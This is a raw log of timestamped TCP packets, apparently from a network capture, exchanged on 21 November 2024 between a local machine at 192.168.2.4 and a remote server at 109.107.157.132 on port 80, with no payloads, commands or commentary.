Nov 21, 2024 22:33:46.091237068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.091281891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.092601061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.092650890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.159490108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.159512997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.159550905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.159569025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.160283089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.160331964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.160408974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.160455942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.161660910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.161710978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.161729097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.161777973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.163132906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.163182020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.163305044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.163356066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.164623976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.164693117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.164830923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.164882898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.166146040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.166197062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.166224957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.166269064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.167650938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.167706966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.167712927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.167756081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.169188023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.169236898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.169271946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.169321060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.170695066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.170757055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.170794964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.170844078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.172219038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.172267914 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.237797022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.237890959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.237935066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.237981081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.238312960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.238359928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.238430977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.238478899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.239856005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.239907026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.239986897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.240036011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.241385937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.241434097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.241497993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.241545916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.242870092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.242923021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.242997885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.243045092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.244407892 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.244457960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.244494915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.244544983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.245887995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.245937109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.246002913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.246051073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.247457027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.247503996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.247560024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.247608900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.248949051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.249022007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.249026060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.249070883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.250437975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.250488997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.315977097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.316055059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.316103935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.316163063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.316523075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.316566944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.316808939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.316855907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.316929102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.316967010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.318562984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.318631887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.318681002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.318731070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.319839001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.319921970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.319950104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.319998026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.321336985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.321383953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.321413994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.321456909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.322848082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.322892904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.322973967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.323023081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.324523926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.324568987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.324858904 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.324906111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.325892925 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.325937033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.326015949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.326061010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.327405930 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.327449083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.327486992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.327528954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.328938007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.328975916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.329051971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.329103947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.330440044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.330503941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.394272089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.394344091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.394387007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.394431114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.394958973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.395006895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.395051956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.395098925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.396492958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.396541119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.396564007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.396608114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.398000956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.398067951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.398250103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.398299932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.399713993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.399764061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.399791956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.399846077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.401048899 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.401098013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.401141882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.401185036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.402559996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.402607918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.402635098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.402677059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.404057026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.404104948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.404179096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.404232025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.405627966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.405677080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.405769110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.405814886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.407149076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.407161951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.407196045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.407211065 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.408602953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.408670902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.408691883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.408735037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.472687960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.472750902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.472945929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.473026991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.473387003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.473436117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.473525047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.473572969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.474874973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.474924088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.474982977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.475029945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.476434946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.476484060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.476517916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.476562023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.477935076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.477984905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.478015900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.478060961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.479427099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.479475975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.479640961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.479691982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.480915070 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.480961084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.480993986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.481044054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.482477903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.482526064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.482702971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.482753038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.484023094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.484071016 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.484090090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.484133959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.485488892 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.485539913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.485577106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.485619068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.487003088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.487051010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.487051964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.487090111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.550734997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.550851107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.551028967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.551081896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.551516056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.551569939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.551609039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.551657915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.552993059 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.553042889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.553082943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.553133011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.554492950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.554546118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.554615021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.554665089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.556096077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.556108952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.556153059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.557480097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.557529926 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.557564974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.557611942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.559006929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.559056997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.559122086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.559170008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.560620070 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.560671091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.560739040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.560806036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.562051058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.562102079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.562175035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.562222958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.575329065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.575385094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.575397015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.575403929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.575570107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.575570107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.595369101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.595443964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.629050970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.629065037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.629132032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.629714966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.629775047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.629820108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.629877090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.631262064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.631309032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.631813049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.631861925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.631930113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.631975889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.633270025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.633316040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.633388042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.633435011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.634800911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.634848118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.634943962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.634989023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.636300087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.636348009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.636425972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.636471987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.637944937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.637991905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.638068914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.638115883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.639365911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.639416933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.639436960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.639477968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.640866041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.640913963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.640991926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.641038895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.642457962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.642505884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.642811060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.642852068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.643928051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.643970966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.644040108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.644081116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.645416021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.645454884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.707016945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.707065105 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.707153082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.707195044 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.707696915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.707747936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.708019972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.708062887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.708137035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.708178043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.709502935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.709547043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.709618092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.709656954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.711062908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.711112022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.711121082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.711157084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.712528944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.712570906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.712642908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.712692022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.714093924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.714135885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.714299917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.714344025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.715558052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.715616941 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.715636015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.715653896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.717106104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.717147112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.717205048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.717255116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.718617916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.718658924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.718729019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.718806982 CET	49759	80	192.168.2.4	109.107.157.132
